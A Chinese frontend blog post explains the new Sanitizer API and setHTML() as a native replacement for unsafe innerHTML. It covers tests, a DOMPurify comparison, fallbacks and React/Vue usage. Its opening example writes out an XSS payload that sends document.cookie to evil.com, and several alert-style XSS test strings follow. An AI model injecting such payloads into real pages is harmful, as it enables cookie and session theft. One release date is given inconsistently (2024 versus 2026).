用了多少年 innerHTML,踩了多少次 XSS 坑,浏览器终于要给我们一个原生的解决方案了。Firefox 148 在 2026-02-24 正式发布,随之一起落地的是已经标准化的 Sanitizer API,和配套的 setHTML() 方法。Chrome 从 146 版本就开始支持了,现在两大主流浏览器都有了,可以认真对待这个 API 了。
innerHTML 的问题到底在哪
前端开发里最常见的 XSS 场景长这样:
// 用户输入的内容,没有经过任何处理
const userInput = '<img src=x onerror="fetch(`https://evil.com/steal?c=${document.cookie}`)">';
// 直接塞进 DOM
document.getElementById('content').innerHTML = userInput;
// 💥 XSS 触发,cookie 被偷走
这不是什么罕见的低级错误。即使是经验丰富的开发者,在处理富文本、Markdown 渲染结果、从后端拿来的 HTML 片段时,都可能不小心让不安全的内容进了 DOM。
现有的解决方案主要是 DOMPurify 这类第三方库。DOMPurify 很成熟,但终究是个 polyfill 性质的方案——需要额外引入依赖,性能开销完全在 JS 层,而且安全策略的维护也依赖第三方。浏览器原生支持 HTML 解析和渲染,理论上更适合做这件事。
setHTML() 和 Sanitizer API
setHTML() 是 Element 接口新增的方法,用来替换 innerHTML 的赋值操作。它的核心特点是:解析 HTML 字符串的同时自动剔除 XSS 不安全的内容,结果再写入 DOM。
// 基本用法,和 innerHTML 赋值几乎一样
const target = document.getElementById('content');
const unsafeHtml = '<p>Hello</p><script>alert(1)</script>';
// 旧写法
target.innerHTML = unsafeHtml; // ⚠️ script 标签会执行
// 新写法
target.setHTML(unsafeHtml); // ✅ script 被自动移除
setHTML() 内部使用的是 Sanitizer API,可以通过 options.sanitizer 参数定制行为。
实际测试:默认模式下会过滤什么
先弄清楚默认 sanitizer 的行为。我在 Chrome 148 里测了一遍:
const target = document.getElementById('test');
// 测试 1:script 标签
target.setHTML('<p>text</p><script>alert(1)</script>');
console.log(target.innerHTML);
// 输出: <p>text</p>
// ✅ script 被移除
// 测试 2:事件处理器
target.setHTML('<button onclick="alert(1)">点我</button>');
console.log(target.innerHTML);
// 输出: <button>点我</button>
// ✅ onclick 被移除
// 测试 3:javascript: 伪协议
target.setHTML('<a href="javascript:alert(1)">链接</a>');
console.log(target.innerHTML);
// 输出: <a>链接</a>
// ✅ href 属性值被清理
// 测试 4:onerror 注入
target.setHTML('<img src=x onerror="alert(1)">');
console.log(target.innerHTML);
// 输出: <img src="x">
// ✅ onerror 被移除,img 本身保留
// 测试 5:data-* 属性(这个结果让我意外)
target.setHTML('<p data-id="123">带数据属性的段落</p>');
console.log(target.innerHTML);
// 输出: <p>带数据属性的段落</p>
// ⚠️ data-* 属性被默认移除了!
// 测试 6:style 属性
target.setHTML('<p style="color:red">红色文字</p>');
console.log(target.innerHTML);
// 输出: <p style="color: red;">红色文字</p>
// ✅ style 属性保留(被认为是安全的)
最让我没想到的是 data-* 属性被默认过滤了。理由是 data 属性可以被用来传递恶意数据,比如配合某些框架的指令执行 JS。如果你的应用依赖 data 属性,需要自定义 sanitizer。
自定义 Sanitizer
Sanitizer API 支持细粒度控制,有两种模式:allowlist(白名单)和 removelist(黑名单)。
// 模式一:白名单——只允许指定的元素和属性
const strictSanitizer = new Sanitizer({
elements: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
});
// 注意:即使你允许 script,setHTML() 也会强制移除,这是 setHTML 的设计
// 想允许 unsafe 内容,要用 setHTMLUnsafe()(别这么干)
target.setHTML(userHtml, { sanitizer: strictSanitizer });
// 模式二:黑名单——在默认基础上额外移除某些东西
const removeSomeSanitizer = new Sanitizer({
removeElements: ['iframe', 'object', 'embed'],
removeAttributes: ['style'], // 不允许内联样式
});
target.setHTML(userHtml, { sanitizer: removeSomeSanitizer });
// 模式三:允许 data-* 属性
const dataAllowedSanitizer = new Sanitizer();
dataAllowedSanitizer.setDataAttributes(true); // 允许 data-* 属性
target.setHTML('<p data-id="123">内容</p>', { sanitizer: dataAllowedSanitizer });
console.log(target.innerHTML);
// 输出: <p data-id="123">内容</p>
// ✅ data 属性现在保留了
Sanitizer 对象可以复用,这点比每次传 SanitizerConfig 效率更高——官方文档特别说明了,如果同一个配置要用多次,应该先构建 Sanitizer 实例,而不是每次传字面量对象。
和 DOMPurify 对比
用同一段 payload 测了一下:
const payload = `
<p>正常文本</p>
<script>alert('xss1')</script>
<img src=x onerror="alert('xss2')">
<a href="javascript:alert('xss3')">恶意链接</a>
<svg><g onload="alert('xss4')"></g></svg>
<div data-user="admin" style="color:red">带属性的 div</div>
`;
// DOMPurify 结果
const purifyResult = DOMPurify.sanitize(payload);
// <p>正常文本</p>
// <img src="x">
// <a>恶意链接</a>
// <svg><g></g></svg>
// <div data-user="admin" style="color:red">带属性的 div</div>
// 注意:DOMPurify 默认保留 data-* 和 style
// setHTML() 默认结果(通过读取 innerHTML 查看)
target.setHTML(payload);
// <p>正常文本</p>
// <img src="x">
// <a>恶意链接</a>
// <svg><g></g></svg>
// <div style="color: red;">带属性的 div</div>
// 注意:data-user 被移除了,style 保留
| 对比项 | setHTML() + Sanitizer API | DOMPurify |
|---|---|---|
| script 标签 | ✅ 移除 | ✅ 移除 |
| 事件处理器 (onclick 等) | ✅ 移除 | ✅ 移除 |
| javascript: 伪协议 | ✅ 移除 | ✅ 移除 |
| data-* 属性(默认) | ⚠️ 移除 | ✅ 保留 |
| style 属性(默认) | ✅ 保留 | ✅ 保留 |
| iframe | ✅ 移除 | ✅ 移除 |
| SVG 中的事件 | ✅ 移除 | ✅ 移除 |
| 依赖外部库 | ❌ 不需要 | ⚠️ 需要 |
| Safari 支持 | ❌ 暂不支持 | ✅ 支持 |
| 自定义灵活性 | 高 | 高 |
浏览器支持现状
截至 2026-02-25:
- Chrome 146+:支持
- Firefox 148+:支持(2024-02-24 刚发布)
- Safari:不支持(TP 版本支持情况未知)
- Edge:基于 Chromium,跟 Chrome 同步,145 及以下不支持
Safari 不支持是个大麻烦,意味着现阶段还不能直接上生产环境,除非你的用户全都不用苹果设备。
降级方案:检测 + polyfill
现实的做法是检测 API 是否存在,不存在就降级到 DOMPurify:
// 封装一个安全的 HTML 注入函数
function safeSetHTML(element, html, sanitizerConfig = {}) {
// 优先用原生 setHTML
if (typeof element.setHTML === 'function') {
if (Object.keys(sanitizerConfig).length > 0) {
const sanitizer = new Sanitizer(sanitizerConfig);
element.setHTML(html, { sanitizer });
} else {
element.setHTML(html);
}
return;
}
// 降级到 DOMPurify
if (typeof DOMPurify !== 'undefined') {
element.innerHTML = DOMPurify.sanitize(html);
return;
}
// 最后的保底:转义所有内容
console.warn('没有可用的安全 HTML 注入方案,回退到纯文本');
element.textContent = html;
}
// 使用
const content = document.getElementById('user-content');
safeSetHTML(content, userProvidedHtml);
// 带自定义规则
safeSetHTML(content, userProvidedHtml, {
removeElements: ['iframe'],
removeAttributes: ['style'],
});
这个封装在 Chrome 和 Firefox 最新版上用原生 API,Safari 和旧版本自动降级到 DOMPurify,兜底是 textContent。
在 React/Vue 里的用法
React 里直接用 dangerouslySetInnerHTML 赋值是 XSS 高危区。可以改造成这样:
// React Hook
import { useRef, useEffect } from 'react';
function useSafeHTML(html) {
const ref = useRef(null);
useEffect(() => {
if (!ref.current) return;
if (typeof ref.current.setHTML === 'function') {
ref.current.setHTML(html);
} else {
// 降级方案
ref.current.innerHTML = DOMPurify.sanitize(html);
}
}, [html]);
return ref;
}
// 组件里使用
function UserContent({ html }) {
const contentRef = useSafeHTML(html);
// 注意:这里 div 是空的,内容通过 effect 注入
return <div ref={contentRef} />;
}
// Vue 3 指令
// directives/safe-html.js
export const vSafeHtml = {
mounted(el, binding) {
applySafeHtml(el, binding.value);
},
updated(el, binding) {
if (binding.value !== binding.oldValue) {
applySafeHtml(el, binding.value);
}
}
};
function applySafeHtml(el, html) {
if (typeof el.setHTML === 'function') {
el.setHTML(html);
} else {
el.innerHTML = DOMPurify.sanitize(html);
}
}
// main.js 注册
app.directive('safe-html', vSafeHtml);
// 模板里使用
// <div v-safe-html="userContent"></div>
踩坑记录
1. setHTML 不能链式调用
innerHTML 赋值完之后可以继续操作,但 setHTML() 返回 undefined,不能链式。这倒不是什么大问题,只是习惯问题。
2. 自定义白名单里包含 script,但 script 还是被移除
这是设计如此。setHTML() 会在用户自定义的 sanitizer 基础上,再强制调用 Sanitizer.removeUnsafe(),保证 XSS-unsafe 的内容永远被移除。如果你真的需要在 HTML 里保留 script(比如处理 SSR 注水),应该用 setHTMLUnsafe(),但那就要自己承担安全责任了。
3. data-* 属性被默认过滤
前面提到了,这个坑最容易踩。很多前端框架(Alpine.js 之类的)或者业务逻辑依赖 data 属性传数据,默认 sanitizer 会把这些全砍掉,导致功能失效。解决方法是显式开启:
const sanitizer = new Sanitizer();
sanitizer.setDataAttributes(true);
element.setHTML(html, { sanitizer });
4. 在 Firefox 147 及以下不可用
Firefox 148 是 2026-02-24 才发布的,线上用户大概率还有旧版本。必须做降级处理,不要只判断 Firefox 就认为支持。
结论
Sanitizer API 和 setHTML() 的方向是对的——把 HTML 安全净化下沉到浏览器引擎层,比 JS 层的 DOMPurify 更快、更可靠。Chrome 和 Firefox 同时支持之后,这个 API 的实用性大幅提升。
现阶段:Safari 不支持,Edge 还没跟上,生产环境还不能直接用,但写降级方案的成本不高,可以先布局起来,等覆盖率上来了直接切。
DOMPurify 短期内不会消失,它的生态更成熟,配置项也更丰富。但作为前端工程师,值得把 setHTML() 纳入工具箱了——至少在面向现代浏览器的内部工具或者不考虑 Safari 的项目上,可以直接用原生方案了。